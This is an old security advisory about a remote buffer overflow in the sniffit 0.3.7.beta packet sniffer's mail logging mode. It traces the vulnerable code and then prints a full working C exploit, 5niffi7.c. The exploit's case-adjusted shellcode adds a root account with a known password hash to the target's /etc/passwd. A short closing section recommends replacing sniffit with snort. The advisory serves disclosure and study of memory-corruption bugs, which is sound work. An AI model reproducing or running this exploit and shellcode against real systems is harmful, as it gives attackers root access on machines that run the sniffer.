COMMAND

    sniffit

SYSTEMS AFFECTED

    sniffit

PROBLEM

    Michel  Kaempf  found  following.   Sniffit  is  a packet sniffer,
    written by Brecht Claerhout.   The latest stable version (0.3.5  -
    last  update  :  04/1997)  and  the  latest  development   version
    (0.3.7.beta - last update : 07/1998) can be found here:

        http://reptile.rug.ac.be/~coder/sniffit/sniffit.html

    As a Debian GNU/Linux  user, Michel worked on  sniffit 0.3.7.beta,
    packaged  by   Edward  Betts   and  available   for  Debian    2.2
    (sniffit_0.3.7.beta-6.deb).

    Sniffit can be  used as a  monitoring tool, and  different logging
    modes (logparam) can be  enabled, using the `-L  logparam' switch.
    When using  `-L mail',  sniffit tries  to dump  the source and the
    destination  of  every   mail  logged.    Thus,  if  mail   server
    XXX.XXX.XXX.XXX runs `sniffit -L mail' along with a  configuration
    file  which  makes  sniffit  log  every  incoming and outgoing TCP
    packet, and if attacker YYY.YYY.YYY.YYY sends to XXX.XXX.XXX.XXX's
    port 25 a TCP packet which contains the line "mail from:" :

        > % telnet XXX.XXX.XXX.XXX 25
        > Trying XXX.XXX.XXX.XXX...
        > Connected to XXX.XXX.XXX.XXX
        > Escape character is '^]'.
        > 220 XXX.XXX.XXX.XXX ESMTP Postfix
        > mail from: foobar
        > 250 Ok
        > quit
        > 221 Bye

    The  sniffit  session  running  on  XXX.XXX.XXX.XXX  will  log the
    following line in its logfile:

        > [Thu May 25 13:22:17 2000] - YYY.YYY.YYY.YYY.1271-XXX.XXX.XXX.XXX.25: mail [mail from: foobar]

    Time to figure  out the steps  followed by sniffit  before logging
    this line:

    1/ `sniffit.0.3.7.c':
    =====================

        [snip]
        >   if ((finish < 10) && (LOGPARAM != 0))         /*  TCP packet - logfile   */
        >     /* This mode will grow, so I just copied the other if() */
        >     /* instead of adding a dumpmode, I think this will keep */
        >     /* things more simpel. Also I use the smart dynam       */
        >     /* managment of connections                             */
        >     {
        >     if( (finish!=TCP_EX_FRAG_HEAD)&&(finish!=TCP_EX_FRAG_NF) )
        >       {  /* no FRAG handling in logfile mode yet */
        > #include "sn_analyse.c"         /* dirty, but it got too confusing */
        >       }
        >     }
        [snip]

    Sniffit now jumps to `sn_analyse.c' which analyses the traffic for
    logging mode.

    2/ `sn_analyse.c':
    ==================

        [snip]
        > /*** MAIL ******************************************************************/
        > if(LOGPARAM & LOGPARAM_MAIL)            /* loglevel 12 */
        > {

    Sniffit enters this  section because it  runs using the  `-L mail'
    switch.

        [snip]
        > if( (ntohs(tcphead.destination) == 25) ) /* to MAIL */
        >   {
        >   if(info.DATA_len!=0)
        >     {
        >     char workbuf1[MTU];
        >     char *wb_dummy;

    YYY.YYY.YYY.YYY sent a  TCP packet to  port 25, and  this packet's
    payload  contained  data,  that's  why  sniffit  now  enters  this
    section.   `workbuf1'  contains  MTU  characters,  and MTU == 5000
    (defined in `sn_config.h').

        >     strncpy(workbuf1,data,info.DATA_len);
        >     workbuf1[info.DATA_len]=0;

    Sniffit copies the TCP packet's payload into `workbuf1'.  But  why
    use `info.DATA_len' in `strncpy', when `info.DATA_len' depends  on
    the TCP packet logged by sniffit, and when the destination  buffer
    `workbuf1' can  only contain  5000 characters?   No idea,  but the
    buffer overflow does not occur here, because the size of a  single
    TCP  packet  is  usually  limited  by  the  operating system.  The
    default  on  Linux  systems  is  1500 characters (`ifconfig' shows
    `MTU:1500').

        >     strlower(workbuf1);

    Here, sniffit applies a filter  function to the data contained  in
    `workbuf1' (the TCP packet's payload), which converts every  upper
    character (A, B, ..., Z) to the corresponding lower character  (a,
    b, ..., z).

        >     if(strstr(workbuf1,"mail from")!=NULL)
        >       {
        >       char workbuf2[MTU];

    Again,    sniffit    enters    this    section    when   analysing
    YYY.YYY.YYY.YYY's TCP packet.

        >       strcpy(workbuf2, strstr(workbuf1,"mail from"));

    Another odd  `strcpy'. Again,  this one  is not  correct, but  the
    overflow does not  occur here, because  sniffit's MTU ==  5000 and
    the operating system's MTU is usually much smaller.

        [snip]
        >       print_mail(filename,workbuf2);

    Sniffit   calls   the   `print_mail'   function,   contained    in
    `sn_logfile.c', used to log informations into sniffit's logfile.

    3/ `sn_logfile.c':
    ==================

        > void print_mail (char *conn, char *msg)
        > {
        > char line[250];
        > sprintf(line,"%s: mail [%s]",conn,msg);
        > print_logline (line);
        > }

    Haha, bingo.  Here is the buffer we will overflow.  Sniffit  first
    writes the string `conn' into the `line' buffer, which corresponds
    to "YYY.YYY.YYY.YYY.1271-XXX.XXX.XXX.XXX.25" in our example.  Then
    sniffit writes the string ":  mail [" into `line', and  eventually
    writes  the  string  `msg'  into  `line'.  `msg'  contains the TCP
    packet's payload, beginning at "mail from".

    Before  writing  an  exploit,  we  should  summarize the important
    steps in the previous overflow description :

        1/ sniffit allocates a 5000 characters buffer (`workbuf1')  on
           the top of  the stack and  stores the TCP  packet's payload
           into it;
        2/ the data contained in `workbuf1' is filtered by `strlower';
        3/ sniffit   allocates    another   5000   characters   buffer
           (`workbuf2') on the top of  the stack and stores data  into
           it, beginning with the string "mail from";
        4/ sniffit calls the `print_mail' function ;
        5/ sniffit allocates a  250 characters buffer (`line')  on the
           top of the stack and  write the `conn' string, the  ": mail
           [" and the `msg' strings into it.

    All we have to do in order to exploit this buffer overflow:

        1/ send a TCP packet to the port 25 of the logging host (or  a
           packet going through  the logging host,  if this host  is a
           firewall  or  a  gateway)  beginning  with the string "mail
           from:  ";
        2/ make sure this packet  is well padded because the  position
           of  the  return  address  in  the  packet depends on the IP
           adresses and ports used (otherwise we will overwrite EIP on
           the stack with an invalid return value);
        3/ make sure our packet does not exceed our operating system's
           MTU (1500 characters on Linux boxes);
        4/ make  sure  our  shellcode  and  our return address do  not
           contain any upper characters (0x41-0x5a) or `\n' (0x0a)  or
           `\r' (0x0d) characters.

    Our TCP packet will look like this:

        -------------------------------------------------------------------
        | "mail from: " | AAAAAA...AAAAAA | RET | NOPs...NOPs | ShellCode |
        -------------------------------------------------------------------

    The main problem  Michel had when  writing the Debian  2.2 exploit
    is  that  the  address  of  the  beginning  of  the  `line' buffer
    contained  an  upper  character...  and  it  was NOT the LSB byte.
    But  remember...   sniffit  copies  our  TCP  packet's  payload in
    `workbuf2'  and  in  `workbuf1',  which  should  be located on the
    stack something like  2 * 5000  == 10000 bytes  before `line' (and
    in  the  memory  10000  bytes  AFTER  `line').   Nice.  The return
    address of the exploit will point to `workbuf1' and not to `line',
    like in an ordinary exploit.

    The second problem  is not Debian  specific: the shellcode  should
    not contain any upper character.  Michel wrote the shellcode  like
    usual, but added 0x1a to  every upper character in the  shellcode,
    in order to translate the characters range 0x41-0x5a to 0x5b-0x74.
    Then, the first thing the  shellcode will do when executed  on the
    target computer,  is to  substract 0x1a  to every  character where
    0x1a was added, in order to restore the original shellcode.

    The exploit below simply adds the line

        r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh

    to  the  `/etc/passwd'  file  of  the  target  computer.  Cracking
    r00t's password should not be too hard.

    /*
     * 5niffi7.c - exploiting sniffit 0.3.7.beta for Debian 2.2
     * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@via.ecp.fr>
     *
     * When a running sniffit session logs the packet sent by 5niffi7,
     * the following shellcode is executed. This shellcode adds the
     * line "r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh" to /etc/passwd.
     * Cracking r00t's password should not be too hard :-)
     *
     * 5niffi7.c is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
     */

    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    #define FROM "mail from: "
    #define RET 0xbfff6b5b

    char shellcode[] =
    "\xeb\x5b\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x5e\x80\x6e\xd9\x1a\x80"
    "\x6e\xdd\x1a\x80\x6e\xd7\x1a\x80"
    "\x6e\xc4\x1a\x80\x6e\xe4\x1a\x90"
    "\x90\x90\x90\x31\xc0\x88\x60\x0b"
    "\xb0\x05\x89\xf3\x31\xc9\x66\xb9"
    "\x01\x04\x31\xd2\xcd\x80\x89\xc7"
    "\xc6\x60\x31\x24\x31\xc0\x88\x60"
    "\x32\xb0\x04\x89\xfb\x8d\x68\x0c"
    "\x31\xd2\xb2\x26\xcd\x80\x31\xc0"
    "\xb0\x06\x89\xfb\xcd\x80\x31\xdb"
    "\x89\xd8\x40\xcd\x80\xe8\xa8\xff"
    "\xff\xff\x2f\x65\x74\x63\x2f\x70"
    "\x61\x73\x73\x77\x64\x78\x72\x30"
    "\x30\x74\x3a\x33\x36\x6d\x73\x76"
    "\x71\x38\x76\x62\x6b\x67\x35\x6b"
    "\x3a\x30\x3a\x30\x3a\x72\x30\x30"
    "\x74\x3a\x2f\x3a\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x78\x78";

    int main( int argc, char * argv[] )
    {
	    int sock_client;
	    struct sockaddr_in addr_server, addr_client;
	    int i, j;
	    char * ip_src, * ip_dst;
	    char conn[ 256 ], msg[ 1500 ];

	    if ( argc != 2 )
	    {
		    fprintf( stderr, "Usage: %s IP\n", argv[0] );
		    exit( -1 );
	    }

	    if ( (sock_client = socket(PF_INET, SOCK_STREAM, 0)) < 0 )
	    {
		    exit( -1 );
	    }

	    bzero( (void *)&addr_server, sizeof(struct sockaddr_in) );
	    addr_server.sin_family = AF_INET;
	    addr_server.sin_port = htons( 25 );
	    inet_aton( argv[1], &addr_server.sin_addr );

	    if ( connect(sock_client, (struct sockaddr *)&addr_server, sizeof(struct sockaddr_in)) < 0 )
	    {
		    exit( -1 );
	    }

	    i = sizeof( struct sockaddr );
	    getsockname( sock_client, (struct sockaddr *)&addr_client, &i );

	    ip_src = strdup( inet_ntoa(addr_client.sin_addr) );
	    ip_dst = strdup( inet_ntoa(addr_server.sin_addr) );
	    snprintf( conn, sizeof(conn), "%s.%u-%s.%u", ip_src, ntohs(addr_client.sin_port), ip_dst, ntohs(addr_server.sin_port) );
	    free( ip_src );
	    free( ip_dst );

	    bzero( msg, sizeof(msg) );
	    i = 0;
	    for ( j = 0; j < strlen(FROM); i++, j++ )
	    {
		    msg[ i ] = FROM[ j ];
	    }
	    for ( j = 0; j < 256 - strlen(conn) - strlen(": mail [") - strlen(FROM); i++, j++ )
	    {
		    msg[ i ] = 'A';
	    }
	    *((unsigned long *)(&(msg[i]))) = RET;
	    i += 4;
	    for ( j = 0; j < 1024; i++, j++ )
	    {
		    msg[ i ] = 0x90;
	    }
	    for ( j = 0; j < strlen(shellcode); i++, j++ )
	    {
		    msg[ i ] = shellcode[ j ];
	    }

	    if ( write(sock_client, msg, strlen(msg)) < 0 )
	    {
		    exit( -1 );
	    }

	    close( sock_client );

	    exit( 0 );
    }

SOLUTION

    Other vulnerabilities exist in sniffit.  This is old news.   It is
    recommend using snort written by Martin Roesch which is much  more
    robust and flexible (and up-to-date, and maintained).